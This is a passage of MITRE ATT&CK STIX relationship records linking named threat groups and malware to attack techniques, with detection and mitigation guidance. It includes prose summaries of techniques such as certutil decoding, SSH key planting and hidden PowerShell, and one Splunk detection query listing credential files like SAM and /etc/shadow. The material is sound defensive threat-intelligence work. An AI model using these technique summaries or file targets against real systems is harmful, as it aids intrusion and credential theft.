2021.","url":"https://www.zscaler.com/blogs/security-research/apt-31-leverages-covid-19-vaccine-theme-and-abuses-legitimate-online"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-22T22:12:26.887Z","description":"[ZIRCONIUM](https://attack.mitre.org/groups/G0128) has used malicious links in e-mails to deliver malware.(Citation: Microsoft Targeting Elections September 2020)(Citation: Google Election Threats October 2020)(Citation: Zscaler APT31 Covid-19 October 2020)","relationship_type":"uses","source_ref":"intrusion-set--4283ae19-69c7-4347-a35e-b56f08eb660b","target_ref":"attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--671cfed4-4809-4f53-a6b0-ff4da289e406","type":"relationship","created":"2020-09-08T14:19:02.613Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"McKeague, B. et al. (2019, April 5). Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware. Retrieved April 17, 2019.","url":"https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html","source_name":"FireEye FIN6 Apr 2019"}],"modified":"2020-09-08T14:19:02.613Z","description":"[FIN6](https://attack.mitre.org/groups/G0037) has used has used Metasploit’s named-pipe impersonation technique to escalate privileges.(Citation: FireEye FIN6 Apr 2019)","relationship_type":"uses","source_ref":"intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb","target_ref":"attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--671e2f7d-21e4-4eb5-b2f3-aa55910c0f13","created":"2022-06-16T13:10:43.197Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for logging that may suggest a list of available groups and/or their associated settings has been extracted, ex. Windows EID 4798 and 4799.","modified":"2022-06-16T13:10:43.197Z","relationship_type":"detects","source_ref":"x-mitre-data-component--8e44412e-3238-4d64-8878-4f11e27784fe","target_ref":"attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--671e9da1-ef79-4193-88e2-fb406304ccea","created":"2022-08-23T16:08:47.564Z","x_mitre_version":"0.1","external_references":[{"source_name":"Cybereason Bazar July 2020","url":"https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles","description":"Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9’S DEVELOPMENT CYCLES. Retrieved November 18, 2020."},{"source_name":"NCC Group Team9 June 2020","url":"https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/","description":"Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Bazar](https://attack.mitre.org/software/S0534) can hash then resolve API calls at runtime.(Citation: Cybereason Bazar July 2020)(Citation: NCC Group Team9 June 2020)","modified":"2022-08-23T16:08:47.564Z","relationship_type":"uses","source_ref":"malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0","target_ref":"attack-pattern--ea4c2f9c-9df1-477c-8c42-6da1118f2ac4","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6723c87e-f60a-465f-96cd-78d63d17ba01","type":"relationship","created":"2020-07-01T21:19:30.513Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MacKeeper Bundlore Apr 2019","url":"https://mackeeper.com/blog/post/610-macos-bundlore-adware-analysis/","description":"Sushko, O. (2019, April 17). macOS Bundlore: Mac Virus Bypassing macOS Security Features. Retrieved June 30, 2020."}],"modified":"2020-07-01T21:30:17.399Z","description":"[Bundlore](https://attack.mitre.org/software/S0482) creates a new key pair with ssh-keygen and drops the newly created user key in authorized_keys to enable remote login.(Citation: MacKeeper Bundlore Apr 2019)","relationship_type":"uses","source_ref":"malware--7bef1b56-4870-4e74-b32a-7dd88c390c44","target_ref":"attack-pattern--6b57dc31-b814-4a03-8706-28bc20d739c4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--672625c1-bbe2-44c2-adf8-2055047024db","type":"relationship","created":"2022-03-30T14:26:51.844Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.844Z","description":"Monitor for any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent. ","source_ref":"x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd","target_ref":"attack-pattern--767dbf9e-df3f-45cb-8998-4903ab5f80c0","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--67272019-b1e1-4c4e-8b7f-cd73b3ed6a31","type":"relationship","created":"2020-08-18T15:36:30.833Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"SentinelOne Lazarus macOS July 2020","url":"https://www.sentinelone.com/blog/four-distinct-families-of-lazarus-malware-target-apples-macos-platform/","description":"Stokes, P. (2020, July 27). Four Distinct Families of Lazarus Malware Target Apple’s macOS Platform. Retrieved August 7, 2020."}],"modified":"2020-08-18T15:36:30.833Z","description":"[Cryptoistic](https://attack.mitre.org/software/S0498) has the ability delete files from a compromised host.(Citation: SentinelOne Lazarus macOS July 2020)","relationship_type":"uses","source_ref":"malware--a04d9a4c-bb52-40bf-98ec-e350c2d6a862","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--672978f9-dfe0-467c-9034-00efdcef71d2","type":"relationship","created":"2022-03-30T14:26:51.857Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.857Z","description":"Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.","source_ref":"x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a","target_ref":"attack-pattern--d74c4a7e-ffbf-432f-9365-7ebf1f787cab","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--672c21b6-0a54-4b70-8ce0-591cc5a72622","type":"relationship","created":"2021-04-12T20:07:50.400Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Anomali MUSTANG PANDA October 2019","url":"https://www.anomali.com/blog/china-based-apt-mustang-panda-targets-minority-groups-public-and-private-sector-organizations","description":"Anomali Threat Research. (2019, October 7). China-Based APT Mustang Panda Targets Minority Groups, Public and Private Sector Organizations. Retrieved April 12, 2021."},{"source_name":"Avira Mustang Panda January 2020","url":"https://www.avira.com/en/blog/new-wave-of-plugx-targets-hong-kong","description":"Hamzeloofard, S. (2020, January 31). New wave of PlugX targets Hong Kong | Avira Blog. Retrieved April 13, 2021."}],"modified":"2021-04-13T20:27:52.344Z","description":"[Mustang Panda](https://attack.mitre.org/groups/G0129) has executed HTA files via cmd.exe, and used batch scripts for collection.(Citation: Anomali MUSTANG PANDA October 2019)(Citation: Avira Mustang Panda January 2020)","relationship_type":"uses","source_ref":"intrusion-set--420ac20b-f2b9-42b8-aa1a-6d4b72895ca4","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--672f33f6-bdc1-40b2-a208-888d1002cc25","type":"relationship","created":"2021-09-07T15:24:47.950Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf","description":"Huss, D. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.","source_name":"Proofpoint Operation Transparent Tribe March 2016"}],"modified":"2021-10-15T14:37:10.016Z","description":"[Peppy](https://attack.mitre.org/software/S0643) has the ability to automatically exfiltrate files and keylogs.(Citation: Proofpoint Operation Transparent Tribe March 2016)","relationship_type":"uses","source_ref":"malware--6c2550d5-a01a-4bbb-a004-6ead348ba623","target_ref":"attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6731a2dc-622a-4547-9b43-3eba8443dd49","created":"2024-05-17T13:16:36.511Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"RedCanary RaspberryRobin 2022","description":"Lauren Podber and Stef Rand. (2022, May 5). Raspberry Robin gets the worm early. Retrieved May 17, 2024.","url":"https://redcanary.com/blog/threat-intelligence/raspberry-robin/"},{"source_name":"HP RaspberryRobin 2024","description":"Patrick Schläpfer . (2024, April 10). Raspberry Robin Now Spreading Through Windows Script Files. Retrieved May 17, 2024.","url":"https://threatresearch.ext.hp.com/raspberry-robin-now-spreading-through-windows-script-files/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-16T17:52:56.135Z","description":"[Raspberry Robin](https://attack.mitre.org/software/S1130) uses outbound HTTP requests containing victim information for retrieving second stage payloads.(Citation: RedCanary RaspberryRobin 2022) Variants of [Raspberry Robin](https://attack.mitre.org/software/S1130) can download archive files (such as 7-Zip files) via the victim web browser for second stage execution.(Citation: HP RaspberryRobin 2024)","relationship_type":"uses","source_ref":"malware--4e385fa6-ebe0-43fc-9ccf-5b51b5dc4d79","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6736036b-1b05-4857-aded-75a7d42a8be2","created":"2023-07-27T15:33:07.523Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant FIN13 Aug 2022","description":"Ta, V., et al. (2022, August 8). FIN13: A Cybercriminal Threat Actor Focused on Mexico. Retrieved February 9, 2023.","url":"https://www.mandiant.com/resources/blog/fin13-cybercriminal-mexico"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-29T18:38:18.951Z","description":"(Citation: Mandiant FIN13 Aug 2022)","relationship_type":"uses","source_ref":"intrusion-set--fd66436e-4d33-450e-ac4c-f7810f1c85f4","target_ref":"tool--afc079f3-c0ea-4096-b75d-3f05338b7f60","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--673afcb8-2fb0-4c17-9f91-8fb409943531","type":"relationship","created":"2020-12-17T15:41:29.423Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye ADFS","url":"https://www.troopers.de/troopers19/agenda/fpxwmn/","description":"Bierstock, D., Baker, A. (2019, March 21). I am AD FS and So Can You. Retrieved December 17, 2020."}],"modified":"2021-10-12T14:26:52.571Z","description":"Restrict permissions and access to the AD FS server to only originate from privileged access workstations.(Citation: FireEye ADFS)","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--94cb00a4-b295-4d06-aa2b-5653b9c1be9c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--673bf715-0ccc-48fd-93b5-570b417cc41a","created":"2019-10-11T03:20:40.155Z","x_mitre_version":"1.0","external_references":[{"source_name":"Alperovitch 2014","url":"https://web.archive.org/web/20200424075623/https:/www.crowdstrike.com/blog/deep-thought-chinese-targeting-national-security-think-tanks/","description":"Alperovitch, D. (2014, July 7). Deep in Thought: Chinese Targeting of National Security Think Tanks. Retrieved November 12, 2014."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Deep Panda](https://attack.mitre.org/groups/G0009) has used -w hidden to conceal [PowerShell](https://attack.mitre.org/techniques/T1059/001) windows by setting the WindowStyle parameter to hidden. (Citation: Alperovitch 2014)","modified":"2022-07-20T20:10:29.599Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064","target_ref":"attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--674031ea-4fff-4669-b44b-d289fa1cc36e","type":"relationship","created":"2020-05-26T16:17:59.542Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Anomali Rocke March 2019","url":"https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang","description":"Anomali Labs. (2019, March 15). Rocke Evolves Its Arsenal With a New Malware Family Written in Golang. Retrieved April 24, 2019."}],"modified":"2020-06-15T19:59:06.535Z","description":"[Rocke](https://attack.mitre.org/groups/G0106) has used Pastebin to check the version of beaconing malware and redirect to another Pastebin hosting updated malware.(Citation: Anomali Rocke March 2019)","relationship_type":"uses","source_ref":"intrusion-set--44102191-3a31-45f8-acbe-34bdb441d5ad","target_ref":"attack-pattern--f7827069-0bf2-4764-af4f-23fae0d181b7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--67413fb8-ef1c-4ba7-b60b-fd7ad75f8a69","created":"2024-09-17T19:40:23.219Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Brining MimiKatz to Unix","description":"Tim Wadhwa-Brown. (2018, November). Where 2 worlds collide Bringing Mimikatz et al to UNIX. Retrieved October 13, 2021.","url":"https://labs.portcullis.co.uk/download/eu-18-Wadhwa-Brown-Where-2-worlds-collide-Bringing-Mimikatz-et-al-to-UNIX.pdf"},{"source_name":"audits linikatz","description":"Wadhwa-Brown, Tim. (2022). audit.rules. Retrieved September 17, 2024.","url":"https://github.com/CiscoCXSecurity/linikatz/blob/master/blue/audit/audit.rules"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-16T22:52:03.982Z","description":"Enable and perform audits or scans of systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses.(Citation: Brining MimiKatz to Unix) For example, use auditd to audit access to hashes, machine tickets, or /tmp files. If using sssd and Vintela, ensure kerberos is disabled if not being used.(Citation: audits linikatz)","relationship_type":"mitigates","source_ref":"course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8","target_ref":"attack-pattern--394220d9-8efc-4252-9040-664f7b115be6","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6743c3f6-7f4f-40b3-bc9e-fe488f81f5e1","type":"relationship","created":"2021-02-08T23:18:31.833Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Crowdstrike Indrik November 2018","url":"https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/","description":"Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021."}],"modified":"2021-02-08T23:18:31.833Z","description":"[BitPaymer](https://attack.mitre.org/software/S0570) can search for network shares on the domain or workgroup using net view .(Citation: Crowdstrike Indrik November 2018)","relationship_type":"uses","source_ref":"malware--fa766a65-5136-4ff3-8429-36d08eaa0100","target_ref":"attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--674679c9-0d34-43f2-8114-7066e613c4f1","created":"2022-03-30T14:26:51.856Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Xorrior Authorization Plugins","description":"Chris Ross. (2018, October 17). Persistent Credential Theft with Authorization Plugins. Retrieved April 22, 2021.","url":"https://xorrior.com/persistent-credential-theft/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-19T15:23:40.561Z","description":"Monitor for suspicious additions to the `/Library/Security/SecurityAgentPlugins` directory.(Citation: Xorrior Authorization Plugins)\n\nMonitor for newly created files that may be used to register malicious network provider dynamic link libraries (DLLs).\n\nAnalytic 1 - Unauthorized file creation in critical directories.\n\n index=security sourcetype IN (\"WinEventLog:Security\", \"wineventlog:sysmon\", \"linux_audit\", \"macos_secure\")\n(EventCode=4663 OR EventCode=11 OR EventCode=13 OR (sourcetype=\"linux_audit\" AND (syscall=\"creat\" OR syscall=\"open\" OR syscall=\"openat\")) OR (sourcetype=\"macos_secure\" AND action=\"file_write\"))\n| eval TargetFile=coalesce(ObjectName, FileName, target_file)\n| search TargetFile IN (\n \"C:\\\\Windows\\\\System32\\\\config\\\\SAM\",\n \"C:\\\\Windows\\\\System32\\\\config\\\\system\",\n \"C:\\\\Windows\\\\System32\\\\config\\\\security\",\n \"C:\\\\Windows\\\\System32\\\\lsass.exe\",\n \"/etc/passwd\",\n \"/etc/shadow\",\n \"/etc/pam.d/\",\n \"/Library/Preferences/com.apple.loginwindow.plist\"\n)","relationship_type":"detects","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--f4c1826f-a322-41cd-9557-562100848c84","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--67469b79-67e2-4932-9776-b09a82871723","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html","description":"Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.","source_name":"FireEye APT34 Dec 2017"},{"source_name":"OilRig New Delivery Oct 2017","description":"Falcone, R. and Lee, B. (2017, October 9). OilRig Group Steps Up Attacks with New Delivery Documents and New Injector Trojan. Retrieved January 8, 2018.","url":"https://researchcenter.paloaltonetworks.com/2017/10/unit42-oilrig-group-steps-attacks-new-delivery-documents-new-injector-trojan/"},{"source_name":"Unit 42 OopsIE! Feb 2018","description":"Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/"},{"source_name":"Crowdstrike GTR2020 Mar 2020","url":"https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf","description":"Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020."}],"modified":"2021-03-12T16:36:07.554Z","description":"A [OilRig](https://attack.mitre.org/groups/G0049) macro has run a PowerShell command to decode file contents. [OilRig](https://attack.mitre.org/groups/G0049) has also used [certutil](https://attack.mitre.org/software/S0160) to decode base64-encoded files on victims.(Citation: FireEye APT34 Dec 2017)(Citation: OilRig New Delivery Oct 2017)(Citation: Unit 42 OopsIE! Feb 2018)(Citation: Crowdstrike GTR2020 Mar 2020)","relationship_type":"uses","source_ref":"intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6747d237-8156-453c-9751-3afd1b36bdca","type":"relationship","created":"2021-05-18T20:24:47.245Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cobalt Strike Manual 4.3 November 2020","url":"https://web.archive.org/web/20210708035426/https://www.cobaltstrike.com/downloads/csmanual43.pdf","description":"Strategic Cyber LLC. (2020, November 5). Cobalt Strike: Advanced Threat Tactics for Penetration Testers. Retrieved April 13, 2021."}],"modified":"2021-10-18T19:54:13.359Z","description":"[Cobalt Strike](https://attack.mitre.org/software/S0154) can explore files on a compromised system.(Citation: Cobalt Strike Manual 4.3 November 2020)","relationship_type":"uses","source_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--67583965-9e89-49cd-bdac-9fd69d7857ae","type":"relationship","created":"2021-01-29T19:58:04.356Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Rewterz Sidewinder APT April 2020","url":"https://www.rewterz.com/threats/sidewinder-apt-group-campaign-analysis","description":"Rewterz. (2020, April 20). Sidewinder APT Group Campaign Analysis. Retrieved January 29, 2021."},{"source_name":"Rewterz Sidewinder COVID-19 June 2020","url":"https://www.rewterz.com/articles/analysis-on-sidewinder-apt-group-covid-19","description":"Rewterz. (2020, June 22). Analysis on Sidewinder APT Group – COVID-19. Retrieved January 29, 2021."}],"modified":"2021-07-21T12:24:09.264Z","description":"[Sidewinder](https://attack.mitre.org/groups/G0121) has used the ActiveXObject utility to create OLE objects to obtain execution through Internet Explorer.(Citation: Rewterz Sidewinder APT April 2020)(Citation: Rewterz Sidewinder COVID-19 June 2020)","relationship_type":"uses","source_ref":"intrusion-set--3fc023b2-c5cc-481d-9c3e-70141ae1a87e","target_ref":"attack-pattern--232a7e42-cd6e-4902-8fe9-2960f529dd4d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6758c87e-d187-46df-b02a-1e093b3054cc","created":"2021-11-29T16:42:41.597Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Profero APT27 December 2020","description":"Global Threat Center, Intelligence Team. (2020, December). APT27 Turns to Ransomware. Retrieved November 12, 2021.","url":"https://web.archive.org/web/20210104144857/https://shared-public-reports.s3-eu-west-1.amazonaws.com/APT27+turns+to+ransomware.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T20:05:38.082Z","description":"[RCSession](https://attack.mitre.org/software/S0662) has the ability to drop additional files to an infected machine.(Citation: Profero APT27 December 2020)","relationship_type":"uses","source_ref":"malware--03acae53-9b98-46f6-b204-16b930839055","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--675e569b-ee71-4dc3-8cc4-d4aa495ef2c4","created":"2024-06-18T20:20:08.344Z","revoked":false,"external_references":[{"source_name":"Google TAG COLDRIVER January 2024","description":"Shields, W. (2024, January 18). Russian threat group COLDRIVER expands its targeting of Western officials to include the use of malware. Retrieved June 13, 2024.","url":"https://blog.google/threat-analysis-group/google-tag-coldriver-russian-phishing-malware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-18T20:20:08.344Z","description":"[Spica](https://attack.mitre.org/software/S1140) has created a scheduled task named `CalendarChecker` to establish persistence.(Citation: Google TAG COLDRIVER January 2024)","relationship_type":"uses","source_ref":"malware--824a230d-0f6a-4fd0-99df-8d464db2265e","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--675f24e0-c445-4eb3-a191-16fb181f6e30","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Magic Hound Feb 2017","description":"Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.","url":"https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/"}],"modified":"2020-03-17T19:42:39.873Z","description":"[Magic Hound](https://attack.mitre.org/groups/G0059) malware has used VBS scripts for execution.(Citation: Unit 42 Magic Hound Feb 2017)","relationship_type":"uses","source_ref":"intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--676011dc-7c68-40ac-aec5-cb8d71e66a27","type":"relationship","created":"2020-03-09T14:09:09.014Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-09T14:09:09.014Z","relationship_type":"revoked-by","source_ref":"attack-pattern--5ad95aaa-49c1-4784-821d-2e83f47b079b","target_ref":"attack-pattern--37b11151-1776-4f8f-b328-30939fbf2ceb","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6765828a-168f-4dd7-8c1b-00f7d98daef5","type":"relationship","created":"2019-05-02T01:07:37.020Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cylance Shaheen Nov 